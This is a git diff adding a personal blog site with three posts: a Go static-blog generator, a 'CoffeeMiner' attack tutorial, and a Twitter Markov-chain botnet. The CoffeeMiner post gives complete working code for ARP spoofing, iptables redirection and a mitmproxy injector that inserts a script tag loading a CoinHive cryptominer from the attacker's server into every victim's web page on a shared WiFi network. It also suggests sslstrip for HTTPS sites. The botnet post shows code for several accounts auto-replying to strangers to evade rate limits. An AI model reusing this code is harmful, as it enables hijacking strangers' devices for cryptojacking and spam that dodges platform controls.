diff --git a/blogo b/blogo new file mode 100755 index 0000000..d013f8a Binary files /dev/null and b/blogo differ diff --git a/blogo-input/index.html b/blogo-input/index.html new file mode 100644 index 0000000..d0fa9c6 --- /dev/null +++ b/blogo-input/index.html @@ -0,0 +1,86 @@ + + + + + + + [blogo-title] + + + + + + + + + + + + + + + + + + + +
+ + + +
+ [blogo-content] +
+ + + + + + + + + + + + + diff --git a/blogo-input/postThumbTemplate.html b/blogo-input/postThumbTemplate.html new file mode 100644 index 0000000..a4c171f --- /dev/null +++ b/blogo-input/postThumbTemplate.html @@ -0,0 +1,4 @@ +
+ [blogo-index-post-template] +
+
diff --git a/dev-run.sh b/dev-run.sh new file mode 100755 index 0000000..6270108 --- /dev/null +++ b/dev-run.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +# serve the directory 'public' as it was in a 'blog' path: +live-server --mount=/blog:public --open=blog diff --git a/public/blogo.html b/public/blogo.html new file mode 100644 index 0000000..83620eb --- /dev/null +++ b/public/blogo.html @@ -0,0 +1,440 @@ + + + + + + + Static blog template engine implementation in Go - ArnauCube - Blog + + + + + + + + + + + + + + + + + + + +
+ + + +
+

Static blog template engine implementation in Go

+ +

2017-12-26

+ +

Some days ago, I decided to start this blog, to put there all the thoughts and ideas that goes through my mind. After some research, I’ve found some interesting projects, but with a lot of features that I don’t need to use. So I decided to write my own minimalistic static blog template engine with Go lang.

+ +

This is how I made blogo the blog static template engine to do this blog.

+ +

Static blog template engine?

+ +

The main idea is to be able to write the blog posts in Markdown files, and with the template engine, output the HTML files ready to upload in the web hosting server.

+ +

Structure

+ +

What we wan to have in the input is:

+ +
/blogo
+    /input
+        /css
+            mycss.css
+        /img
+            post01_image.png
+        index.html
+        postThumbTemplate.html
+        post01.md
+        post01thumb.md
+        post02.md
+        post02thumb.md
+
+ +

blogo.json

+ +

This is the file that have the configuration that will be read by the Go script.

+ +
{
+    "title": "my blog",
+    "indexTemplate": "index.html",
+    "postThumbTemplate": "postThumbTemplate.html",
+    "posts": [
+        {
+            "thumb": "post01thumb.md",
+            "md": "post01.md"
+        },
+        {
+            "thumb": "post02thumb.md",
+            "md": "post02.md"
+        }
+    ],
+    "copyRaw": [
+      "css",
+      "js"
+    ]
+}
+
+ +

The copyRaw element, will be all the directories to copy raw to the output.

+ +

index.html

+ +

This is the file that will be used as the template for the main page and also for the posts pages.

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <title>[blogo-title]</title>
+</head>
+<body>
+    <div>
+        [blogo-content]
+    </div>
+</body>
+</html>
+
+ +

As we can see, we just need to define the html file, and in the title define the [blogo-title], and in the content place the [blogo-content].

+ +

postThumbTemplate.html

+ +

This is the file where is placed the html box for each post that will be displayed in the main page.

+ +
<div class="well">
+    [blogo-index-post-template]
+</div>
+
+ +

post01thumb.md

+ +
# Post 01 thumb
+This is the description of the Post 01
+
+ +

post01.md

+ +
# Title of the Post 01
+Hi, this is the content of the post
+
+'''js
+    console.log("hello world");
+'''
+
+ +

Let’s start to code

+ +

As we have exposed, we want to develop a Go lang script that from some HTML template and the Markdown text files, generates the complete blog with the main page and all the posts.

+ +

readConfig.go

+ +

This is the file that reads the blogo.json file to get the blog configuration.

+ +
package main
+
+import (
+	"encoding/json"
+	"io/ioutil"
+)
+
+//Post is the struct for each post of the blog
+type Post struct {
+	Thumb string `json:"thumb"`
+	Md    string `json:"md"`
+}
+
+//Config gets the config.json file into struct
+type Config struct {
+	Title             string   `json:"title"`
+	IndexTemplate     string   `json:"indexTemplate"`
+	PostThumbTemplate string   `json:"postThumbTemplate"`
+	Posts             []Post   `json:"posts"`
+	CopyRaw           []string `json:"copyRaw"`
+}
+
+var config Config
+
+func readConfig(path string) {
+	file, err := ioutil.ReadFile(path)
+	check(err)
+	content := string(file)
+	json.Unmarshal([]byte(content), &config)
+}
+
+ +

files.go, the operations with files

+ +

We will need some file operation functions, so we have placed all in this file.

+ +
package main
+
+import (
+	"io/ioutil"
+	"os/exec"
+	"strings"
+
+	"github.com/fatih/color"
+)
+
+func readFile(path string) string {
+	dat, err := ioutil.ReadFile(path)
+	if err != nil {
+		color.Red(path)
+	}
+	check(err)
+	return string(dat)
+}
+
+func writeFile(path string, newContent string) {
+	err := ioutil.WriteFile(path, []byte(newContent), 0644)
+	check(err)
+	color.Green(path)
+}
+
+func getLines(text string) []string {
+	lines := strings.Split(text, "\n")
+	return lines
+}
+
+func concatStringsWithJumps(lines []string) string {
+	var r string
+	for _, l := range lines {
+		r = r + l + "\n"
+	}
+	return r
+}
+
+func copyRaw(original string, destination string) {
+	color.Green(original + " --> to --> " + destination)
+	_, err := exec.Command("cp", "-rf", original, destination).Output()
+	check(err)
+}
+
+ +

main.go

+ +

To convert the HTML content to Markdown content, we will use https://github.com/russross/blackfriday

+ +
package main
+
+import (
+	"fmt"
+	"strings"
+
+	blackfriday "gopkg.in/russross/blackfriday.v2"
+)
+
+const directory = "blogo-input"
+
+func main() {
+	readConfig(directory + "/blogo.json")
+	fmt.Println(config)
+
+	// generate index page
+	indexTemplate := readFile(directory + "/" + config.IndexTemplate)
+	indexPostTemplate := readFile(directory + "/" + config.PostThumbTemplate)
+	var blogoIndex string
+	blogoIndex = ""
+	for _, post := range config.Posts {
+		mdpostthumb := readFile(directory + "/" + post.Thumb)
+		htmlpostthumb := string(blackfriday.Run([]byte(mdpostthumb)))
+
+		//put the htmlpostthumb in the blogo-index-post-template
+		m := make(map[string]string)
+		m["[blogo-index-post-template]"] = htmlpostthumb
+		r := putHTMLToTemplate(indexPostTemplate, m)
+		filename := strings.Split(post.Md, ".")[0]
+		r = "<a href='" + filename + ".html'>" + r + "</a>"
+		blogoIndex = blogoIndex + r
+	}
+	//put the blogoIndex in the index.html
+	m := make(map[string]string)
+	m["[blogo-title]"] = config.Title
+	m["[blogo-content]"] = blogoIndex
+	r := putHTMLToTemplate(indexTemplate, m)
+	writeFile("index.html", r)
+
+	// generate posts pages
+	for _, post := range config.Posts {
+		mdcontent := readFile(directory + "/" + post.Md)
+		htmlcontent := string(blackfriday.Run([]byte(mdcontent)))
+
+		m := make(map[string]string)
+		m["[blogo-title]"] = config.Title
+		m["[blogo-content]"] = htmlcontent
+
+		r := putHTMLToTemplate(indexTemplate, m)
+		//fmt.Println(r)
+
+		filename := strings.Split(post.Md, ".")[0]
+		writeFile(filename+".html", r)
+	}
+
+	//copy raw
+	fmt.Println("copying raw:")
+	for _, dir := range config.CopyRaw {
+		copyRaw(directory+"/"+dir, ".")
+	}
+}
+
+func putHTMLToTemplate(template string, m map[string]string) string {
+	lines := getLines(template)
+	var resultL []string
+	for _, line := range lines {
+		inserted := false
+		for k, v := range m {
+			if strings.Contains(line, k) {
+				//in the line, change [tag] with the content
+				lineReplaced := strings.Replace(line, k, v, -1)
+				resultL = append(resultL, lineReplaced)
+				inserted = true
+			}
+		}
+		if inserted == false {
+			resultL = append(resultL, line)
+		}
+	}
+	result := concatStringsWithJumps(resultL)
+	return result
+}
+
+ +

Try it

+ +

To try it, we need to compile the Go code:

+ +
> go build
+
+ +

And run it:

+ +
> ./blogo
+
+ +

Or we can just build and run to test:

+ +
> go run *.go
+
+ +

As the output, we will obtain the html pages with the content:

+ + + +
<!DOCTYPE html>
+<html>
+<head>
+    <title>my blog</title>
+</head>
+<body>
+    <div class="row">
+        <a href='post01.html'>
+            <div class="col-md-3">
+                <h1>Post 01 thumb</h1>
+                <p>This is the description of the Post 01</p>
+            </div>
+        </a>
+        <a href='post02.html'>
+            <div class="col-md-3">
+                <p>Post 02 thumb</p>
+            </div>
+        </a>
+    </div>
+</body>
+</html>
+
+ + + +
<!DOCTYPE html>
+<html>
+<head>
+    <title>my blog</title>
+</head>
+<body>
+    <div>
+        <h1>Title of the Post 01</h1>
+        <p>Hi, this is the content of the post</p>
+        <pre>
+            <code class="language-js">    console.log(&quot;hello world&quot;);
+            </code>
+        </pre>
+    </div>
+</body>
+</html>
+
+ +

Conclusion

+ +

In this post, we have seen how to develop a very minimalistic static blog template engine with Go. In fact, is the blog engine that I’m using for this blog.

+ +

There are lots of blog template engines nowadays, but maybe we don’t need sophisticated engine, and we just need a minimalistic one. In that case, we have seen how to develop one.

+ +

The complete project code is able in https://github.com/arnaucube/blogo

+ +
+ + + + + + + + + + + + + + diff --git a/public/coffeeminer-hacking-wifi-cryptocurrency-miner.html b/public/coffeeminer-hacking-wifi-cryptocurrency-miner.html new file mode 100644 index 0000000..9b513ca --- /dev/null +++ b/public/coffeeminer-hacking-wifi-cryptocurrency-miner.html @@ -0,0 +1,579 @@ + + + + + + + CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - ArnauCube - Blog + + + + + + + + + + + + + + + + + + + +
+ + + +
+

CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests

+ +

2018-01-04

+ +

Disclamer: this article & project is for academic purposes only.

+ +

Some weeks ago I read about this Starbucks case where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.

+ +

The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.

+ +

coffeeMiner

+ +

The objective is to have a script that performs autonomous attack on the WiFi network. It’s what we have called CoffeeMiner, as it’s a kind of attack that can be performed in the cafes WiFi networks.

+ +

1. The Scenario

+ +

The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.

+ +

network

+ +

1.1 Scenario configuration

+ +

The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.

+ +

We will use VirtualBox to deploy our virtual scenario https://www.virtualbox.org/ .

+ +

First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images https://www.kali.org/

+ +

Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.

+ +

To configure the defined scenario we need to prepare the machines each one with a role:

+ + + +

network

+ +

Once the attack is performed, the scenario will be:

+ +

network

+ +

To configure each one of the machines, we will do the following configuration:

+ + + +
auto lo
+iface lo inet loopback
+
+auto eth0
+iface eth0 inet static
+    address 10.0.2.10
+    netmask 255.255.255.0
+    gateway 10.0.2.15
+
+ + + +
auto lo
+iface lo inet loopback
+
+auto eth0
+iface eth0 inet static
+    address 10.0.2.20
+    netmask 255.255.255.0
+    gateway 10.0.2.15
+
+ + + +
auto lo
+iface lo inet loopback
+
+auto eth0
+iface eth0 inet dhcp
+
+auto eth1
+iface eth1 inet static
+    address 10.0.2.15
+    netmask 255.255.255.0
+
+ +

2. CoffeeMiner, understanding the code

+ +

2.1 ARPspoofing

+ +

First of all, we need to understand how the MITM attack is performed.

+ +

From wikipedia:

+ +

“In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker’s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.”

+ +

https://en.wikipedia.org/wiki/ARP_spoofing

+ +

To perform the ARPspoofing attack, we will use the dsniff library.

+ +
arpspoof -i interface -t ipVictim ipGateway
+arpspoof -i interface -t ipGateway ipVictim
+
+ +

2.2 mitmproxy

+ +

mitmproxy is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.

+ +

To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.

+ +

The line to inject the crypto miner is:

+ +
<script src="http://httpserverIP:8000/script.js"></script>
+
+ +

2.3 Injector

+ +

Once we have the victim’s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:

+ +
from bs4 import BeautifulSoup
+from mitmproxy import ctx, http
+import argparse
+
+class Injector:
+    def __init__(self, path):
+        self.path = path
+
+    def response(self, flow: http.HTTPFlow) -> None:
+        if self.path:
+            html = BeautifulSoup(flow.response.content, "html.parser")
+            print(self.path)
+            print(flow.response.headers["content-type"])
+            if flow.response.headers["content-type"] == 'text/html':
+                script = html.new_tag(
+                    "script",
+                    src=self.path,
+                    type='application/javascript')
+                html.body.insert(0, script)
+                flow.response.content = str(html).encode("utf8")
+                print("Script injected.")
+
+def start():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("path", type=str)
+    args = parser.parse_args()
+    return Injector(args.path)
+
+
+ +

2.4 HTTP Server

+ +

As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.

+ +

In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library ‘http.server’:

+ +
#!/usr/bin/env python
+import http.server
+import socketserver
+import os
+
+PORT = 8000
+
+web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
+os.chdir(web_dir)
+
+Handler = http.server.SimpleHTTPRequestHandler
+httpd = socketserver.TCPServer(("", PORT), Handler)
+print("serving at port", PORT)
+httpd.serve_forever()
+
+ +

The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.

+ +

The javascript miner, will be placed in the /miner_script directory. In our case, we have used the CoinHive javascript miner.

+ +

2.5 CoinHive crypto miner

+ +

CoinHive is a javascript miner for the Monero cryptocurrency (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on CryptoNote protocol.

+ +

CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn’t make much sense.

+ +

In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.

+ +

CoinHive logo

+ +

3. CoffeeMiner, puting all together

+ +

The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.

+ +

The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.

+ +

First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker’s machine into a proxy:

+ +
echo 1 > /proc/sys/net/ipv4/ip_forward
+iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
+
+ +

To perform the ARPspoof for all the victims, we will prepare a ‘victims.txt’ file with all the victim’s IP. +To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim’s IP.

+ +
# get gateway_ip
+gateway = sys.argv[1]
+print("gateway: " + gateway)
+# get victims_ip
+victims = [line.rstrip('\n') for line in open("victims.txt")]
+print("victims:")
+print(victims)
+
+# run the arpspoof for each victim, each one in a new console
+for victim in victims:
+    os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
+    os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
+
+ +

Once we have the ARPspoofing performed, we just need to run the HTTP Server:

+ +
> python3 httpServer.py
+
+ +

And now, we can run the mitmproxy with the injector.py:

+ +
> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
+
+ +

3.1 CoffeeMiner, final script

+ +

Now we put all the concepts explained above in the ‘coffeeMiner.py’ script:

+ +
import os
+import sys
+
+#get gateway_ip (router)
+gateway = sys.argv[1]
+print("gateway: " + gateway)
+# get victims_ip
+victims = [line.rstrip('\n') for line in open("victims.txt")]
+print("victims:")
+print(victims)
+
+# configure routing (IPTABLES)
+os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
+os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
+os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
+os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
+
+
+# run the arpspoof for each victim, each one in a new console
+for victim in victims:
+    os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
+    os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
+
+# start the http server for serving the script.js, in a new console
+os.system("xterm -hold -e 'python3 httpServer.py' &")
+
+# start the mitmproxy
+os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
+
+ +

And also in the ‘injector.py’ script:

+ +
from bs4 import BeautifulSoup
+from mitmproxy import ctx, http
+import argparse
+
+class Injector:
+    def __init__(self, path):
+        self.path = path
+
+    def response(self, flow: http.HTTPFlow) -> None:
+        if self.path:
+            html = BeautifulSoup(flow.response.content, "html.parser")
+            print(self.path)
+            print(flow.response.headers["content-type"])
+            if flow.response.headers["content-type"] == 'text/html':
+                print(flow.response.headers["content-type"])
+                script = html.new_tag(
+                    "script",
+                    src=self.path,
+                    type='application/javascript')
+                html.body.insert(0, script)
+                flow.response.content = str(html).encode("utf8")
+                print("Script injected.")
+
+def start():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("path", type=str)
+    args = parser.parse_args()
+    return Injector(args.path)
+
+ +

And to execute, we just need to do:

+ +
> python3 coffeeMiner.py RouterIP
+
+ +

4. Demo

+ +

In order to do the demo, we set up the VirtualBox scenario explained above.

+ +

If we want to perform the attack manually, we will need the following terminals:

+ +

demo

+ +

Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim’s machine and browse to a website. The victim’s traffic will go through the attacker machine, and will activate the injector:

+ +

demo

+ +

As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.

+ +

demo

+ +

4.1 Demo video

+ +

In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:

+ + + +

video demo

+ + + +

video demo

+ +

Conclusion

+ +

As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.

+ +

Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.

+ +

Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous Nmap scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding sslstrip, to make sure the injection also in the websites that the user can request over HTTPS.

+ +

The complete code is available in the github repo: https://github.com/arnaucube/coffeeMiner

+ +
+ +

Disclamer: this article & project is for academic purposes only.

+ +
+ +

tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3

+ +
+ +

References in the press about this article

+ + + +

Destacated tweets

+ + + +

tweets

+ +
+ + + + + + + + + + + + + + diff --git a/public/css/style.css b/public/css/style.css new file mode 100644 index 0000000..1e7e5f9 --- /dev/null +++ b/public/css/style.css @@ -0,0 +1,11 @@ +.o_gradient_background{ + background-color: #222222; + background-image: url('../img/gradient-background-2560x1600.jpg'); + background-position: center; + background-repeat: no-repeat; + background-attachment: fixed; +} + +a { + text-decoration:none!important; +} diff --git a/public/flock-botnet.html b/public/flock-botnet.html new file mode 100644 index 0000000..122011f --- /dev/null +++ b/public/flock-botnet.html @@ -0,0 +1,365 @@ + + + + + + + Auto generated tweets from Markov chains - ArnauCube - Blog + + + + + + + + + + + + + + + + + + + +
+ + + +
+

Auto generated tweets from Markov chains

+ +

2017-12-29

+ +

The main goal of this article is to explain how to develop a twitter botnet with autonomous bots replying tweets with text generated based on probabilities in Markov chains. As this is a project to learn, we have made everything from scratch.

+ +

The idea of mixing twitter bots with Markov chains was in a Twitter conversation with @x0rz

+ +

1. Markov chains

+ +

A Markov chain is a sequence of stochastic events (based on probabilities) where the current state of a variable or system is independent of all past states, except the current state.

+ +

https://en.wikipedia.org/wiki/Markov_chain

+ +

In our case, we will use Markov chains to analyze the probabilities that after a word comes another concrete word. So, we will generate some diagram like the following one, but with thousands of words.

+ +

flock-botnet

+ +

In our case, we need as input some text document with thousands of words, to get a better input data. In this example we have made it with the book “The Critique of Pure Reason”, by Immanuel Kant (http://www.gutenberg.org/cache/epub/4280/pg4280.txt), just because is the first book that we have found in .txt format.

+ +

1.1 Calculating the Markov chains

+ +

First we need to read the text file:

+ +
func readTxt(path string) (string, error) {
+	data, err := ioutil.ReadFile(path)
+	if err != nil {
+		//Do something
+	}
+	dataClean := strings.Replace(string(data), "\n", " ", -1)
+	content := string(dataClean)
+	return content, err
+}
+
+ +

To calculate the probabilities of the Markov states, we have made the following function that analyzes the full input text, and stores the Markov states:

+ +
func calcMarkovStates(words []string) []State {
+	var states []State
+	//count words
+	for i := 0; i < len(words)-1; i++ {
+		var iState int
+		states, iState = addWordToStates(states, words[i])
+		if iState < len(words) {
+			states[iState].NextStates, _ = addWordToStates(states[iState].NextStates, words[i+1])
+		}
+
+		printLoading(i, len(words))
+	}
+
+	//count prob
+	for i := 0; i < len(states); i++ {
+		states[i].Prob = (float64(states[i].Count) / float64(len(words)) * 100)
+		for j := 0; j < len(states[i].NextStates); j++ {
+			states[i].NextStates[j].Prob = (float64(states[i].NextStates[j].Count) / float64(len(words)) * 100)
+		}
+	}
+	fmt.Println("\ntotal words computed: " + strconv.Itoa(len(words)))
+	return states
+}
+
+ +

The printLoading function, is just a simple function to print in the terminal the % of the process done:

+ +
func printLoading(n int, total int) {
+	var bar []string
+	tantPerFourty := int((float64(n) / float64(total)) * 40)
+	tantPerCent := int((float64(n) / float64(total)) * 100)
+	for i := 0; i < tantPerFourty; i++ {
+		bar = append(bar, "█")
+	}
+	progressBar := strings.Join(bar, "")
+	fmt.Printf("\r " + progressBar + " - " + strconv.Itoa(tantPerCent) + "")
+}
+
+ +

flock-botnet

+ +

1.2 Generating text from the Markov chains

+ +

To generate the text, we will need a initializer word and the length of the output text to generate. Then, we perform a loop and get words based on the Markov chains probabilities calculated in the previous step.

+ +
func (markov Markov) generateText(states []State, initWord string, count int) string {
+	var generatedText []string
+	word := initWord
+	generatedText = append(generatedText, word)
+	for i := 0; i < count; i++ {
+		word = getNextMarkovState(states, word)
+		if word == "word no exist on the memory" {
+			return "word no exist on the memory"
+		}
+		generatedText = append(generatedText, word)
+	}
+	text := strings.Join(generatedText, " ")
+	return text
+}
+
+ +

To generate the text we need a function that given the markov chains and a word, returns a random probability based word to be the next word following the given word:

+ +
func getNextMarkovState(states []State, word string) string {
+	iState := -1
+	for i := 0; i < len(states); i++ {
+		if states[i].Word == word {
+			iState = i
+		}
+	}
+	if iState < 0 {
+		return "word no exist on the memory"
+	}
+	var next State
+	next = states[iState].NextStates[0]
+	next.Prob = rand.Float64() * states[iState].Prob
+	for i := 0; i < len(states[iState].NextStates); i++ {
+		if (rand.Float64()*states[iState].NextStates[i].Prob) > next.Prob && states[iState-1].Word != states[iState].NextStates[i].Word {
+			next = states[iState].NextStates[i]
+		}
+	}
+	return next.Word
+}
+
+ +

2. Twitter API

+ +

To interact with the Twitter API, we will use go-twitter library https://github.com/dghubble/go-twitter .

+ +

We setup a streaming connection with the Twitter API, we will filter tweets by some words related to our input dataset:

+ +
func startStreaming(states []State, flock Flock, flockUser *twitter.Client, botScreenName string, keywords []string) {
+	// Convenience Demux demultiplexed stream messages
+	demux := twitter.NewSwitchDemux()
+	demux.Tweet = func(tweet *twitter.Tweet) {
+		if isRT(tweet) == false && isFromBot(flock, tweet) == false {
+			processTweet(states, flockUser, botScreenName, keywords, tweet)
+		}
+	}
+	demux.DM = func(dm *twitter.DirectMessage) {
+		fmt.Println(dm.SenderID)
+	}
+	demux.Event = func(event *twitter.Event) {
+		fmt.Printf("%#v\n", event)
+	}
+
+	fmt.Println("Starting Stream...")
+	// FILTER
+	filterParams := &twitter.StreamFilterParams{
+		Track:         keywords,
+		StallWarnings: twitter.Bool(true),
+	}
+	stream, err := flockUser.Streams.Filter(filterParams)
+	if err != nil {
+		log.Fatal(err)
+	}
+	// Receive messages until stopped or stream quits
+	demux.HandleChan(stream.Messages)
+}
+
+ +

Then, each time that a new tweet with some of our tracking words is tweeted, we process that tweet and then we generate a reply based on the Markov chains, and we post that reply:

+ +
func processTweet(states []State, flockUser *twitter.Client, botScreenName string, keywords []string, tweet *twitter.Tweet) {
+	c.Yellow("bot @" + botScreenName + " - New tweet detected:")
+	fmt.Println(tweet.Text)
+
+	tweetWords := strings.Split(tweet.Text, " ")
+	generatedText := "word no exist on the memory"
+	for i := 0; i < len(tweetWords) && generatedText == "word no exist on the memory"; i++ {
+		fmt.Println(strconv.Itoa(i) + " - " + tweetWords[i])
+		generatedText = generateMarkovResponse(states, tweetWords[i])
+	}
+	c.Yellow("bot @" + botScreenName + " posting response")
+	fmt.Println(tweet.ID)
+	replyTweet(flockUser, "@"+tweet.User.ScreenName+" "+generatedText, tweet.ID)
+	waitTime(1)
+}
+
+ +
func replyTweet(client *twitter.Client, text string, inReplyToStatusID int64) {
+	tweet, httpResp, err := client.Statuses.Update(text, &twitter.StatusUpdateParams{
+		InReplyToStatusID: inReplyToStatusID,
+	})
+	if err != nil {
+		fmt.Println(err)
+	}
+	if httpResp.Status != "200 OK" {
+		c.Red("error: " + httpResp.Status)
+		c.Purple("maybe twitter has blocked the account, CTRL+C, wait 15 minutes and try again")
+	}
+	fmt.Print("tweet posted: ")
+	c.Green(tweet.Text)
+}
+
+ +

3. Flock-Botnet, or how to avoid the Twitter API limitations

+ +

If you ever played with the Twitter API, you will have seen that there are some restrictions and limitations. That means that if your bot have too much posting activity, the account will get blocked for some minutes.

+ +

To avoid this limitation, we will deploy a botnet, where each bot will be replying tweets based on the Markov chains probabilities. In this way, when a bot post a tweet reply, the bot falls asleep for 1 minute. In the meantime, the other bots will be processing and replying the other tweets.

+ +

flock-botnet

+ +

3. Putting it all together

+ +

In this demo, we will use only 3 bots (twitter accounts).

+ +

The botnet configuration will be in the config.json file:

+ +
[{
+        "title": "bot1",
+        "consumer_key": "xxxxxxxxxxxxx",
+        "consumer_secret": "xxxxxxxxxxxxx",
+        "access_token_key": "xxxxxxxxxxxxx",
+        "access_token_secret": "xxxxxxxxxxxxx"
+    },
+    {
+        "title": "bot2",
+        "consumer_key": "xxxxxxxxxxxxx",
+        "consumer_secret": "xxxxxxxxxxxxx",
+        "access_token_key": "xxxxxxxxxxxxx",
+        "access_token_secret": "xxxxxxxxxxxxx"
+    },
+    {
+        "title": "bot3",
+        "consumer_key": "xxxxxxxxxxxxx",
+        "consumer_secret": "xxxxxxxxxxxxx",
+        "access_token_key": "xxxxxxxxxxxxx",
+        "access_token_secret": "xxxxxxxxxxxxx"
+    }
+]
+
+ +

The complete process will be:

+ +

flock-botnet

+ +

4. Demo

+ +

We have setted up a small demo with 3 bots. As we have said in the beging of this post, we have used the “The Critique of Pure Reason”, by Immanuel Kant to generate the Markov chains.

+ +

When the botnet is up working, the bots start streaming all the twitter new tweets containing the configured keywords.

+ +

Each bot takes a tweet, analyzes the containing words, and generates a reply using the Markov chains previously calculated, and posts the tweet as reply.

+ +

Example of terminal view during the flock-botnet execution:

+ +

flock-botnet

+ +

Here is an example of the execution:

+ +

flock-botnet

+ +

In the following examples, there are some screenshots that the bots (“@andreimarkov”, “@dodecahedron”, “@projectNSA”) have been replying to some people.

+ +

flock-botnet

+ +
+ +

flock-botnet

+ +
+ +

flock-botnet

+ +
+ +

flock-botnet

+ +

Conclusion

+ +

In this article, we have seen how to build a Twitter botnet with the bots replying tweets with text generated based on Markov chains.

+ +

As in this article we have used only 1 grade Markov chains, so the generated text is not really like humans text. But for future projects, a good choice would be combining more grades Markov chains with other text mining techniques.

+ +

Twitter API have lots of uses, and in this post we have seen one of them. I hope to be able to write some more articles about other projects arround the Twitter API. For example some Twitter network nodes analysis, or some users & hashtags analysis.

+ +

The complete code of this project is able in https://github.com/arnaucube/flock-botnet

+ +

Project page: http://arnaucube.com/flock-botnet/

+ +
+ + + + + + + + + + + + + + diff --git a/public/img/email.png b/public/img/email.png new file mode 100644 index 0000000..e9c2615 Binary files /dev/null and b/public/img/email.png differ diff --git a/public/img/gradient-background-2560x1600.jpg b/public/img/gradient-background-2560x1600.jpg new file mode 100644 index 0000000..a5bb844 Binary files /dev/null and b/public/img/gradient-background-2560x1600.jpg differ diff --git a/public/img/logoArnauCube.png b/public/img/logoArnauCube.png new file mode 100755 index 0000000..6f682c0 Binary files /dev/null and b/public/img/logoArnauCube.png differ diff --git a/public/img/logoArnauCubeFavicon.png b/public/img/logoArnauCubeFavicon.png new file mode 100755 index 0000000..0896c03 Binary files /dev/null and b/public/img/logoArnauCubeFavicon.png differ diff --git a/public/img/logoArnauCubeTransparent.png b/public/img/logoArnauCubeTransparent.png new file mode 100755 index 0000000..3340565 Binary files /dev/null and b/public/img/logoArnauCubeTransparent.png differ diff --git a/public/img/posts/blogo/go-logo.png b/public/img/posts/blogo/go-logo.png new file mode 100644 index 0000000..26b9893 Binary files /dev/null and b/public/img/posts/blogo/go-logo.png differ diff --git a/public/img/posts/coffeeMiner/coffeeMiner-logo-small.png b/public/img/posts/coffeeMiner/coffeeMiner-logo-small.png new file mode 100644 index 0000000..5e6f289 Binary files /dev/null and b/public/img/posts/coffeeMiner/coffeeMiner-logo-small.png differ diff --git a/public/img/posts/coffeeMiner/coffeeMiner-logo.png b/public/img/posts/coffeeMiner/coffeeMiner-logo.png new file mode 100644 index 0000000..d4425b6 Binary files /dev/null and b/public/img/posts/coffeeMiner/coffeeMiner-logo.png differ diff --git a/public/img/posts/coffeeMiner/coffeeMiner-logo.xcf b/public/img/posts/coffeeMiner/coffeeMiner-logo.xcf new file mode 100644 index 0000000..3739cef Binary files /dev/null and b/public/img/posts/coffeeMiner/coffeeMiner-logo.xcf differ diff --git a/public/img/posts/coffeeMiner/coffeeMiner-network-attack.png b/public/img/posts/coffeeMiner/coffeeMiner-network-attack.png new file mode 100644 index 0000000..f040a31 Binary files /dev/null and b/public/img/posts/coffeeMiner/coffeeMiner-network-attack.png differ diff --git 